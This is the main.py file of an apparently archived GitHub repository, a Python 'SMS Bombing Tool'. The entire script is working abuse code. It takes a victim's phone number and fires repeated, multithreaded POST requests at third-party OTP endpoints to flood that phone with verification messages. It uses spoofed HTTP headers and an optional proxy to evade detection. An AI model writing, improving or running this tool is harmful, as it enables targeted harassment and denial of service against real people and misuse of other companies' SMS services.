This repository has been archived by the owner on Aug 25, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.py
147 lines (120 loc) · 4.63 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# Standard Libraries
import argparse # Module for parsing command-line arguments
import concurrent.futures # Module for parallel execution
import signal # Module for signal handling
from datetime import datetime # Module for handling dates and times
from os import _exit # Module for exiting the program
# Third-Party Libraries
import requests # HTTP library for making requests
from alive_progress import alive_bar # Progress bar library
from colorama import init, Fore, Style # Library for colored output
from fake_headers import Headers # Library for generating fake HTTP headers
# Custom Module
from api import send_otp_requests # Module for sending OTP requests
def parse_arguments():
"""
Parse command-line arguments.
"""
parser = argparse.ArgumentParser(description="SMS Bombing Tool")
parser.add_argument("target", help="The target phone number")
parser.add_argument(
"-c",
"--count",
help="Number of times to bomb the target phone number (default is 1)",
type=int,
default=1,
)
parser.add_argument(
"-t",
"--threads",
help="Number of concurrent threads to use for bombing (default is 5)",
type=int,
default=5,
)
parser.add_argument(
"-v",
"--verbose",
help="Display additional information during the bombing process",
action="store_true",
)
parser.add_argument(
"-x",
"--proxy",
help="Set a proxy server for requests (http/https)",
)
args = parser.parse_args()
return args.target, args.count, args.threads, args.verbose, args.proxy
def send_request(api_name, api_url, data, timeout, proxy=None):
"""
Send HTTP request to the specified API.
"""
headers = Headers()
generated_headers = headers.generate()
current_time = datetime.now().strftime(f"{Style.BRIGHT}%H:%M:%S{Style.NORMAL}")
response = None
try:
response = requests.post(
api_url,
headers=generated_headers,
json=data,
timeout=timeout,
proxies=proxy,
)
response.raise_for_status()
return f"{Fore.YELLOW}[{current_time}] {Fore.GREEN}{Style.BRIGHT}[+] {api_name}{Style.NORMAL} => {Style.BRIGHT}OK"
except requests.exceptions.RequestException as e:
if hasattr(e, "response") and hasattr(e.response, "status_code"):
error_code = e.response.status_code
else:
error_code = "Unknown"
return f"{Fore.YELLOW}[{current_time}] {Fore.RED}{Style.BRIGHT}[-] {api_name}{Style.NORMAL} => {Style.BRIGHT}Error {error_code}"
def process_target(api, proxy):
"""
Process the target API.
"""
return send_request(api["name"], api["url"], api["data"], timeout=2.5, proxy=proxy)
def handle_sigint(signal, frame):
"""
Handle SIGINT signal.
"""
print(f"\n{Fore.YELLOW}{Style.BRIGHT}[!] User interrupted the process.")
_exit(1)
def display_results(futures):
"""
Print results of the bombing process.
"""
results = [future.result() for future in futures]
succeeded = [result for result in results if "OK" in result]
failed = [result for result in results if "Error" in result]
print(
f"\n{Style.BRIGHT}{Fore.YELLOW}[?]{Fore.RESET} Succeeded: {Fore.GREEN}{len(succeeded)}, "
f"{Style.BRIGHT}Failed: {Fore.RED}{len(failed)}"
)
def main():
"""
Main function to run the SMS bombing tool.
"""
init(autoreset=True)
signal.signal(signal.SIGINT, handle_sigint)
target, count, threads, verbose, proxy = parse_arguments()
proxy_dict = {"http": proxy, "https": proxy} if proxy else None
if proxy:
print(f"{Fore.MAGENTA}{Style.BRIGHT}[?] Using proxy: {proxy}")
apis = send_otp_requests(target)
with alive_bar(count * len(apis), theme="smooth") as progress_bar:
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
futures = [
executor.submit(process_target, api, proxy_dict) for api in apis * count
]
for future in concurrent.futures.as_completed(futures):
progress_bar()
result = future.result()
if verbose:
if "OK" in result:
print(f"{Fore.GREEN}{result}")
else:
print(f"{Fore.RED}{result}")
display_results(futures)
print("SMS bombing completed successfully.")
if __name__ == "__main__":
main()